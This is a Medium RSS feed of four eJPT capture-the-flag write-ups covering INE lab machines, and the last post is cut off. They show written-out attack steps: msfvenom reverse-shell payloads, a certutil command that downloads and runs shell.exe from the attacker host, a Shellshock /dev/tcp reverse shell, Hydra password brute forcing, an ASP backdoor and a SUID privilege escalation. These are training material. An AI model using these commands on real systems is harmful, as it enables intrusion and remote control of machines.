<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Chamod Malshan on Medium]]></title>
        <description><![CDATA[Stories by Chamod Malshan on Medium]]></description>
        <link>https://medium.com/@chamodmalshan1006?source=rss-de47a8031534------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*LlERD5mMU2CiRNpPLB4YUw.jpeg</url>
            <title>Stories by Chamod Malshan on Medium</title>
            <link>https://medium.com/@chamodmalshan1006?source=rss-de47a8031534------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 14:37:59 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@chamodmalshan1006/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Host & Network Penetration Testing: The Metasploit Framework CTF 2 [eJPT]]]></title>
            <link>https://systemweakness.com/host-network-penetration-testing-the-metasploit-framework-ctf-2-ejpt-ff047ebf86ab?source=rss-de47a8031534------2</link>
            <guid isPermaLink="false">https://medium.com/p/ff047ebf86ab</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[vulnerability-assessment]]></category>
            <category><![CDATA[ejpt]]></category>
            <dc:creator><![CDATA[Chamod Malshan]]></dc:creator>
            <pubDate>Mon, 20 Jan 2025 04:33:05 GMT</pubDate>
            <atom:updated>2025-01-22T17:12:16.636Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello guys, welcome to another CTF machine from INE. In this lab, there are 4 flags to be found. The first 2, flags are from target 1 and the 3rd and 4th flags are from target 2. Let’s get into it.</p><p>As the first step, we have to run an nmap scan to check the services running on the target machine. Let’s enumerate the services that are running on target 1.</p><pre>nmap -sV -p- -sC target1.ine.local</pre><ul><li>-sV : show services</li><li>-sC : default script</li><li>-p- : all ports</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/1*0isKrwZ21j9l74dOnGMAuA.png" /></figure><p>As you can see in the target 1, there is only one service running. Let’s find <strong>flag 1</strong>.</p><p><strong>HINT 1</strong> : “Enumerate the open port using Metasploit, and inspect the RSYNC banner closely; it might reveal something interesting.”</p><p>It seems we need to enumerate the rsync service in order to obtain <strong>flag 1</strong>.</p><h4>1. RSYNC Banner</h4><p>Run the following command in order to obtain the flag 1. In this activity I’m going to use the <strong>rsync </strong>tool to see the banner.</p><pre>rsync rsync://192.150.137.3   </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*NU0cpfM-TpueA3kb4avIJA.png" /></figure><p>As you can see, we found the<strong> flag 1</strong>. So let’s move to find <strong>flag 2</strong>.</p><p><strong>HINT 2</strong> : “The files on the RSYNC server hold valuable information. Explore the contents to find the flag.”</p><p>Previously we found that there is a directory called “backupwscohen”. So the hint tells us to check it carefully to obtain flag 2.</p><h4>2. Check the Contents</h4><p>To check the contents inside the folder, you can use the following command.</p><pre>rsync rsync://192.150.137.3/backupwscohen</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*o4aP3S38JCG6yafd6zXgtg.png" /></figure><p>As you can see, there are 3 files located inside the “backupwscohen” folder. I’m going to copy all the files inside that directory to my attack machine’s desktop [/root/Desktop]. Use the following command to copy the files in the target server to your local host.</p><pre>rsync -av rsync://192.150.137.3/backupwscohen/ /root/Desktop</pre><ul><li>-a : archive mode</li><li>-v : verbose</li></ul><p>When you run the above command, you can see the following result.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/1*0xh-lj_rSCpOZ60ud7lwGg.png" /></figure><p>As you can see, the files have been successfully copied to the desktop.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2YccK1lVix6mLdO4EgT8fg.png" /></figure><p>You can obtain the flag 2 when you check the contents in pii_data.xlsx as follows.</p><pre>cat pii_data.xlsx</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/521/1*C-2hb7KLaDF_WJYY5YeT7Q.png" /></figure><p>Let’s move to find flag 3. This is the hint given for it.</p><p><strong>HINT 3</strong> : “Try exploiting the webapp to gain a shell using Metasploit on target2.ine.local.”</p><p>As you can see, this is a new target (target2.ine.local). As the first step, let’s try to check the services running on our target.</p><pre>nmap -sV -sC -p- target2.ine.local</pre><ul><li>-sV : show services</li><li>-p- : all ports</li><li>-sC : scan with default script</li></ul><p>Result :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iNowCl67i3S4NI0CW_bvFw.png" /></figure><p>As you can see, there is a web site running on port 80 and the website title has been given as “Roxy-WI”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/1*8MqqiIRoJztBEUq42NdpIw.png" /></figure><p>Let’s check the website as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eCvLapdhZiSYF6cxF3RW-A.png" /></figure><h4>3. Exploit the webapp</h4><p>Since we found that the website is called <strong>Roxy-WI</strong>, let’s try to find an exploit using Metasploit. Use the following command to open Metasploit and search for an exploit for <strong>Roxy-WI</strong>.</p><pre>msfconsole<br>search Roxy-WI</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K5Nbw-u_QNYUG7FaTc_GVQ.png" /></figure><p>As you can see, there is only one exploit for exploiting the web site/app. Change the configuration as follows in the exploit module and run the module.</p><pre>use exploit/linux/http/roxy_wi_exec<br>set RHOSTS target2.ine.local<br>set LHOST eth1<br>run</pre><p>When you change the configuration in the exploit module and run the module, you can see we can obtain a meterpreter session as given below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qI6Re05sY2kCqi40zNilDQ.png" /></figure><p>Use the following command to obtain <strong>flag 3</strong>.</p><pre>cat /flag.txt </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/494/1*Soz_Qgzxjipq9mXyv_pOMw.png" /></figure><p>Let’s find the<strong> final flag</strong> in this lab.</p><h4>4. Investigate Automated Tasks</h4><p>HINT 4 : “Automated tasks can sometimes leave clues. Investigate scheduled jobs or running processes to uncover the hidden flag.”</p><p>“Investigate scheduled jobs” means we need to check the cron jobs. Let’s check those entries and see what we can find.</p><pre>ls -l /etc/cron.d</pre><p>When you use the above command, you can see there are 2 files,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/1*FufxiQFkK0-ECADATu4PlQ.png" /></figure><p>You can check those files, you can obtain the flag 4 using the given command below.</p><pre>cat /etc/cron.d/www-data-cron </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/846/1*UxeFRg-gjC59gpDfDIYaUA.png" /></figure><p>Finally we could find all 4 flags in this lab.</p><p><strong><em>Hope everyone can understand the process and have a great day!!!</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ff047ebf86ab" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/host-network-penetration-testing-the-metasploit-framework-ctf-2-ejpt-ff047ebf86ab">Host &amp; Network Penetration Testing: The Metasploit Framework CTF 2 [eJPT]</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Host & Network Penetration Testing: The Metasploit Framework CTF 1 [eJPT]]]></title>
            <link>https://systemweakness.com/host-network-penetration-testing-the-metasploit-framework-ctf-1-ejpt-7ad91327b509?source=rss-de47a8031534------2</link>
            <guid isPermaLink="false">https://medium.com/p/7ad91327b509</guid>
            <category><![CDATA[ejpt]]></category>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Chamod Malshan]]></dc:creator>
            <pubDate>Sat, 18 Jan 2025 02:40:46 GMT</pubDate>
            <atom:updated>2025-01-22T17:11:54.839Z</atom:updated>
            <content:encoded><![CDATA[<p>Welcome to another lab, In this lab there are 4 flags to be found. Let’s get to it.</p><p>As the first step, we should enumerate the services running on the target system to obtain a clear idea about our target. For this, nmap is used.</p><pre>nmap -Pn -sV -p- target.ine.local</pre><ul><li>sV : show services</li><li>-Pn : do not ping</li><li>-p- : all ports</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/978/1*VnFFALq6fz5QE090fSqaVA.png" /></figure><p>As you can see, there are various services running on our target. Let’s check the first hint.</p><p><strong>HINT 1</strong> : “Gain access to the MSSQLSERVER account on the target machine to retrieve the first flag.”</p><p>According to the given hint, what we have to do is obtain the flag by accessing the target via MSSQLSERVER.</p><h3>1. Accessing the target via MSSQLSERVER</h3><p>To gain access to the mssql server running on the target, I’m going to use <strong>mssql_login</strong> module in Metasploit.</p><pre>msfconsole<br>use auxiliary/scanner/mssql/mssql_login<br>set RHOSTS target.ine.local<br>set createsession true<br>set VERBOSE false<br>run</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m_Vy-lbGkVlj9bRlnKkheA.png" /></figure><p>Result</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fG89JQQv1SN--OdUTKqIDQ.png" /></figure><p>In this module, what we do is brute force the default login credentials and if the credentials are found, a session will be created.</p><p>As you can see, login is successful with the default username “<strong>sa</strong>” and there is no password. In addition to that, since the login is successful, a session related to the login has been created.</p><p>Since we were able to find the credentials and create an mssql session, let’s use the <strong>mssql_exec </strong>module in Metasploit to gain access to the mssql service via the created mssql session.</p><pre>use auxiliary/admin/mssql/mssql_exec<br>set RHOSTS target.ine.local<br>set SESSION 1 </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j2WYohV-0jdRDeToHnVJsg.png" /></figure><p>So, as the above picture shows, first we need to change the above parameters and what this module does; this module will execute the commands set in <strong>CMD </strong>parameter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IvfKPywWDbBGdQGs5Dj1_g.png" /></figure><p>These are the steps to obtain mssql access through a meterpreter session using the above module (<strong>mssql_exec</strong>),</p><p>1. Create an <strong>exe </strong>file with meterpreter payload (<strong>msfvenom</strong>)<br>2. Set up a <strong>meterpreter listener</strong><br>3. Set up a <strong>file server</strong> to host the exe file using python<br>4. Set up the “<strong>CMD</strong>” command in mssql_exec module to <strong>obtain</strong> the <strong>reverse shell</strong></p><ol><li>So, let’s create an <strong>exe </strong>file to obtain a reverse shell using <strong>msfvenom </strong>and upload it to the target system. For this we have to create a directory called “<strong>tmp ”</strong>as well. because we cant write data to other directories since we don’t have enough permission. You can copy the following code to create an <strong>exe </strong>file that will allow us to obtain a reverse shell.</li></ol><pre>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=kali-machine-ip LPORT=4444 -f exe &gt;shell.exe</pre><p>Make sure to replace the <strong>kali-machine-ip</strong> with <strong>Attack Machine’s IP</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8M0KgdmKhcSlQw7naEMOdQ.png" /></figure><p>2. Now we have to set up a listener. For this I’m going to use another Metasploit session with the “<strong>multi/handler”</strong> module.</p><p>Open a new terminal session and run Metasploit again. Use the given commands in the given order.</p><pre>msfconsole<br>use multi/handler<br>set LHOST eth1<br>set payload windows/x64/meterpreter/reverse_tcp<br>run</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/997/1*psu4vehGqs8F3rmZv3TWLg.png" /></figure><p>So, as you can see, we were able to successfully set up a listener on Metasploit.</p><p>3. Now go to the previous terminal where we used to obtain an <strong>mssql session</strong>. Now we have to set the <strong>CMD </strong>to the following given command.</p><pre>set CMD cmd.exe /c &quot;mkdir C:\tmp &amp; certutil -urlcache -split -f http://kali-machine-ip:8000/shell.exe C:\tmp\shell.exe &amp; C:\tmp\shell.exe&quot;</pre><p>4. Now we have to set up a server to file on port 8000 so that when our code runs, it will be able to download the file to the target.</p><pre>python -m SimpleHTTPServer   </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/449/1*AP-hQCil8efKHdJPnTw1Vw.png" /></figure><p>Since everything is successfully set up, we can run the mssql_psexec module.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5hR8-DOA4YMyr28KhtKG6w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tHyeoOx7wGwfqhh4D8okTA.png" /></figure><p>As you can see, we can successfully obtain the meterpreter session. Use following command to obtain <strong>flag 1.</strong></p><pre>cat C:\\flag1.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/396/1*qWFoh1RTt53eMy_bPYQK3Q.png" /></figure><p>Let’s move to find <strong>flag 2</strong>.</p><p><strong>HINT 2</strong> : “Locate the second flag within the Windows configuration folder.”</p><p>It seems flag 2 is located in the config folder in Windows. Let’s go and check it out.</p><p>Before that, we have to get the administrative privileges to move to those sensitive folders. To obtain the administrative privileges, use the following command.</p><pre>getsystem</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/834/1*6BQ5p8Pe_SmjFPq2Q_PLWw.png" /></figure><p>As you can see, we successfully escalated the privileges.</p><p>To obtain the <strong>flag 2</strong>, use the following commands, respectively.</p><pre>getsystem<br>cat c:\\Windows\\System32\\config\\flag2.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/1*99cOGXFqzl3H1lbVKSh5zA.png" /></figure><p>Let’s move to find <strong>flag 3</strong>.</p><p><strong>HINT 3</strong> : “The third flag is also hidden within the system directory. Find it to uncover a hint for accessing the final flag.”</p><p>Use the following command to obtain the <strong>flag 3</strong>.</p><pre>cat c:\\Windows\\System32\\drivers\\etc\\EscaltePrivilageToGetThisFlag.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/992/1*RD6LFU5Kcr82bLlMywjmEA.png" /></figure><p>Let’s move to find the <strong>final flag</strong>.</p><p><strong>HINT 4</strong> : “Investigate the Administrator directory to find the fourth flag.”</p><p>According to the hint, the final flag will be located in the administrator’s directory. The Following command will allow you to obtain <strong>flag 4</strong>.</p><pre>cat c:\\Users\\Administrator\\Desktop\\flag4.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*gflDDMtfkz_wqNVSJxbVPQ.png" /></figure><p>As you can see, we were able to obtain all 4 flags.</p><p><strong><em>Hope everyone can understand the process and have a great day!!!</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7ad91327b509" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/host-network-penetration-testing-the-metasploit-framework-ctf-1-ejpt-7ad91327b509">Host &amp; Network Penetration Testing: The Metasploit Framework CTF 1 [eJPT]</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Host & Network Penetration Testing: System-Host Based Attacks CTF 2 [eJPT]]]></title>
            <link>https://systemweakness.com/host-network-penetration-testing-system-host-based-attacks-ctf-2-ejpt-caead9214deb?source=rss-de47a8031534------2</link>
            <guid isPermaLink="false">https://medium.com/p/caead9214deb</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[ejpt]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Chamod Malshan]]></dc:creator>
            <pubDate>Fri, 17 Jan 2025 23:45:13 GMT</pubDate>
            <atom:updated>2025-01-22T17:11:56.469Z</atom:updated>
            <content:encoded><![CDATA[<p>In this lab, there are 4 flags to be found. Let’s dive into it. As our first step, we have to perform an <strong>nmap </strong>scan to understand the target by understanding the running services.</p><pre>nmap -sV -sC -Pn -p- target1.ine.local</pre><ul><li>sV : show services</li><li>-Pn : do not ping</li><li>-p- : all ports</li><li>-sC : scan with default script</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*4xHB23cnonaS9VeqJHpSfQ.png" /></figure><p>As you can see, there is only port 80 that is open. So, literally, our target has a website. Let’s go for the first hint.</p><p><strong>HINT 1</strong> : “Check the root (‘/’) directory for a file that might hold the key to the first flag on target1.ine.local.”</p><p>That means we have to compromise the system and we should navigate to the root directory to find <strong>flag 1</strong>.</p><h3>1. Compromise the Website</h3><p>So let’s check the website and see whether we can find anything useful.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7yuFsPvRnK92ERA6Btds0A.png" /></figure><p>As I have highlighted, this website is running with a “cgi” file. CGI stands for Common Gateway Interface, which is a standard that allows web servers to communicate with external programs. CGI programs are used to generate dynamic content on websites.</p><p>These types of technologies are vulnerable to <strong>Shellshock </strong>vulnerability. Shellshock is a vulnerability that allows the attacker to execute commands remotely on Linux servers by exploiting bash.</p><p>Let’s check whether this server is vulnerable to Shellshock or not.</p><pre>nmap -sV -Pn --script=http-shellshock --script-args uri=/browser.cgi/ -p80 target1.ine.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*OHDJklOi3oKWnCoIXTX8vA.png" /></figure><p>As you can see, the target is vulnerable to shellshock. Let’s exploit the vulnerability. To exploit this vulnerability we have to use <strong>Burp Suite</strong>.</p><p>First of all, turn on the <strong>FoxyProxy</strong> extension in the browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*myvGElhTViELoNg173wc-g.png" /></figure><p>After that, make sure the burp suit’s is ready to capture the requests. Turn on the service as follows.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r1p3ah1fCug2RD0rtaG-Vw.png" /></figure><p>Let’s reload the website and capture the request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SEdXDLlk1UukEmHwxVRz0w.png" /></figure><p>Send the captured request to the repeater section so we can continuously send requests from our side.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xv5Ad1JBqrLbVaFxcOmnSA.png" /></figure><p>Go the repeater tab and change the <strong>User Agent</strong> as follows to run bash commands on the server.</p><p>Before :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WIR2fXIIDk8Cu4_AKhJ6HA.png" /></figure><p>After :</p><pre>() { :; }; echo; echo; /bin/bash -c &#39;whoami&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cAXokRZs-59rUkhliSIbNA.png" /></figure><p>Send the request and you will get the following result,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mOGEl96GTM5Vs58PumoXdQ.png" /></figure><p>As you can see, we were able to successfully exploit the vulnerability on the website. In the given hint, we get the idea that <strong>flag 1</strong> is located in the root directory. So when I checked the content in the root directory I found the <strong>flag 1</strong>. Use the following command to obtain the <strong>flag 1</strong>. All you have to do is change the command within the apostrophe symbol.<br><em> [-c (‘</em><strong><em>command</em></strong><em>’)]</em></p><pre>() { :; }; echo; echo; /bin/bash -c &#39;whoami&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UaTaVuGHWpozQdfbCSYIqg.png" /></figure><p>Let’s move to Hint 2.</p><p><strong>HINT 2</strong> : “In the server&#39;s root directory, there might be something hidden. Explore &#39;/opt/apache/htdocs/&#39; carefully to find the next flag on target1.ine.local.”</p><h3>2. Hidden Files</h3><p>So as you can see, <strong>flag 2</strong> is located in ‘/opt/apache/htdocs/’. It is not always easy to change the command and run it in the above given method, so let’s get a reverse shell for this. For that, use the following command and replace as given in the above process.</p><pre>() { :; }; echo; echo; /bin/bash -c &#39;bash -i&gt;&amp;/dev/tcp/kali-machine-ip/4444 0&gt;&amp;1&#39;</pre><p>Replace the attack machine’s IP address on “kali-machin-ip” given in the command.</p><p>Start the <strong>netcat </strong>listener on port 4444.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*OK1WYJIvjZIYFBx2ocBn5A.png" /></figure><p>Send the request and obtain the reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PGhLYvtNi6baDHrVNwx4zQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/969/1*CHstHYEz2lnCLowb__LS8Q.png" /></figure><p>Use ‘ls -la’ to show the hidden files and you can see the <strong>flag 2</strong> among the other hidden files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/1*jBu_lPyi6_QhkXenfmmUEw.png" /></figure><p>Let’s move to <strong>flag 3</strong>. Since this is a new target, we have to start with an nmap scan. So we can understand what services are running.</p><pre>nmap -sV -sC -Pn -p- target2.ine.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*dh8_3_0S-ydR3f39R1rdQQ.png" /></figure><p>As you can see only ssh is running on the current target. Let’s check the hint.</p><p><strong>HINT 3</strong> : “Investigate the user&#39;s home directory and consider using &#39;libssh_auth_bypass&#39; to uncover the flag on target2.ine.local.”</p><p>According to the hint, we have to use libssh_auth_bypass module to gain access to the target and obtain the <strong>flag 3</strong>.</p><h3>3. Exploit SSH</h3><p>For this purpose, I’m going to use Metasploit. Search for the ‘libssh’ module as follows.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iZDl4Wl--Wk5ZjaPXJ1q2w.png" /></figure><p>Use the following module to exploit the vulnerability on target 2.</p><pre>use auxiliary/scanner/ssh/libssh_auth_bypass<br>set RHOSTS target2.ine.local<br>set SPAWN_PTY true</pre><p>When you configure the <strong>libssh </strong>module on Metasploit as above, you will be able to run without any errors as follows.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LjEVvvwCCXKzlBV-Wd-i2Q.png" /></figure><p>Use the <strong>sessions </strong>command to obtain the running sessions.</p><pre>sessions</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vlgzOJxGsHiSrUc2Kr20oQ.png" /></figure><p>Use the following command to move to the spawned session. According to my session, the ID is given as 2. So,</p><pre>sessions 2</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jc16FhiLC6T-RNQqlOW4ww.png" /></figure><p>Finally we were able to obtain a shell to our target. Use the given command to obtain <strong>flag 3</strong>.</p><pre>cat /home/user/flag.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/583/1*adlkuLJP0TMNqgVQMupOTg.png" /></figure><p>Let’s move to <strong>flag 4</strong>.</p><p>HINT 4 : “The most restricted areas often hold the most valuable secrets. Look into the ‘/root’ directory to find the hidden flag on target2.ine.local.”</p><p>Seems the <strong>flag 4</strong> is in the root directory or somewhere that is usually has higher privileges. Let’s check the ares that need higher privileges to access. When we try to access “/root”, we get a message that “Access Denied” because we don’t have the necessary permissions.</p><h3>4. Privilege Escalation</h3><p>When we list the contents on the user’s directory, we can see that there are 2 additional files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/1*OzHrLQzSAM13OwnqKEuK7A.png" /></figure><p>As you can see, the “<strong>welcome</strong>” file has SUID permissions as well as can be executed by a non-privilege user.</p><p>Let’s find more information about the file “<strong>welcome</strong>” to find a method to obtain root privileges if possible.</p><pre>strings welcome</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*TLMQ1hSjFBJpFDI_b6HO5A.png" /></figure><p>As you can see, when the “<strong>welcome</strong>” file is executed, it calls the “<strong>greetings”</strong> file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/563/1*P5nSTAKyTpNQX7osmlTqiA.png" /></figure><p>To obtain the root privileges, follow the given steps.</p><ol><li><em>Remove the </em><strong><em>greetings </em></strong><em>file</em></li><li><em>Create a file called “greetings” (the same as the previously removed) with the following command to obtain root privileges “/bin/bash”</em></li><li><em>Run </em><strong><em>welcome </em></strong><em>binary file</em></li></ol><p>The commands necessary to execute the above steps are given below.</p><pre>rm greetings<br>cp /bin/bash greetings<br>./welcome</pre><p>Run the above commands, respectively.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/532/1*tBqKNhLhFJ8M-C2bZFTZTg.png" /></figure><p>As you can see, we can obtain the root privileges and the <strong>flag 4</strong> is located in the root directory.</p><pre>cat /root/flag.txt  </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/457/1*DDLF5_ZidV5O0Js2GQQvaA.png" /></figure><p>As you can see, we were able to find all 4 flags.</p><p><strong><em>Hope everyone can understand the process and have a great day!!!</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=caead9214deb" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/host-network-penetration-testing-system-host-based-attacks-ctf-2-ejpt-caead9214deb">Host &amp; Network Penetration Testing: System-Host Based Attacks CTF 2 [eJPT]</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Host & Network Penetration Testing: System-Host Based Attacks CTF 1 [eJPT]]]></title>
            <link>https://systemweakness.com/host-network-penetration-testing-system-host-based-attacks-ctf-1-ejpt-5ae111a16125?source=rss-de47a8031534------2</link>
            <guid isPermaLink="false">https://medium.com/p/5ae111a16125</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ejpt]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Chamod Malshan]]></dc:creator>
            <pubDate>Sat, 11 Jan 2025 06:31:58 GMT</pubDate>
            <atom:updated>2025-01-14T16:20:01.043Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello guys, let’s continue our ethical hacking journey with another lab. In this lab there are 4 flags to be found. So, let’s get into it. Let’s check the first hint. In addition to that, there are 3 specific worldlists given for this lab environment as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/1*cfNwcoqLXi6rinKZBXkCtA.png" /></figure><p>Before checking the first hint, let’s try to understand the target by running an nmap scan. This is to understand what services are running on the target system.</p><pre>nmap -Pn -sV -sC -p- target1.ine.local</pre><ul><li>sV : show services</li><li>-Pn : do not ping</li><li>-p- : all ports</li><li>-sC : scan with default script</li></ul><p>When you run the above command, the output will be given as follows.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*SxmaGOpJK1fGdmeDSz0qRQ.png" /></figure><p>As you can see, there are various services running on the target host. Now let’s find <strong>flag 1</strong>.</p><p><strong>HINT 1</strong> : “User ‘bob’ might not have chosen a strong password. Try common passwords. (target1.ine.local)”</p><p>So, when we read the HINT 1, we get the idea that we need to brute force the user “bob” to find the credentials, but what is the service?. Let’s try to access the website running on port 80, as we can see the http service is running on port 80 according to the <strong>nmap results</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bPJUCtXCuG1BfxgW1Qm8fQ.png" /></figure><p>As we can see, the website is running on port 80 and this is a Microsoft IIS httpd 10.0 server running on port 80, which could be potentially vulnerable if the “<strong>WebDAV</strong>” service is not configured correctly.</p><h4><strong>1. Vulnerable IIS service</strong></h4><p>Let’s move to the “WebDAV” directory.</p><pre>http://target1.ine.local/webdav</pre><p>When you try to access the above directory, you will be asked to provide login credentials. So, this could be the service that <strong>HINT 1</strong> was talking about. Let’s try to brute force the credentials with the given wordlists. For this purpose, I’m going to use Hydra.</p><pre>hydra -l bob -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt target1.ine.local http-get /webdav/</pre><ul><li>-l : username</li><li>-P : worldist (password)</li></ul><p>When you run the above command, you will see the password for “bob”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vuiduza0f_2o5-YIWHsROQ.png" /></figure><p>Login to the “WebDAV ”directory using the above credentials and then you can find the <strong>flag 1</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*j0q5HIHNTp7FJpG7EltGvw.png" /></figure><p>Let’s move to find flag 2. Let’s check the hint.</p><p>HINT 2 : “Valuable files are often on the C: drive. Explore it thoroughly. (target1.ine.local)”</p><p>So, the hint is all about accessing the target. Since we found what is the vulnerable service on the IIS server, let’s do some hacking.</p><h4>2. Access the system</h4><p>For exploiting the vulnerability, we need to use 2 tools,</p><p><em>1. </em><strong><em>davtest </em></strong><em>= used to check what file extensions are accepted by the server<br>2. </em><strong><em>cadaver </em></strong><em>= upload the vulnerable file to the target (IIS web server)</em></p><p>Let’s check which files are accepted by the server using davtest.</p><pre>davtest -auth bob:password_123321 -url http://target1.ine.local/webdav/</pre><p>You will see what files are accepted as follows.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZTjR1PSbsruStSgYlpjNHw.png" /></figure><p>As per the results given in davtest, for this purpose let’s use the “.asp” extension. Now, we need to create a malicious file that allows us to obtain a reverse shell since we can access the “WebDav” directory. Use the following command to create a malicious file using <strong>msfvenom</strong>.</p><pre>msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.39.2 LPORT=4444 -f asp &gt; backdoor.asp </pre><ul><li>-p : payload</li><li>LHOST : localhost (ip address of the attack machine)</li><li>LPORT : localport (a port on the attack machine)</li><li>-f : file type</li></ul><p>When you run the above command, a file called “backdoor.asp” will be generated with the given parameters. You can check the file by listing the contents of the current directory, whether it is created or 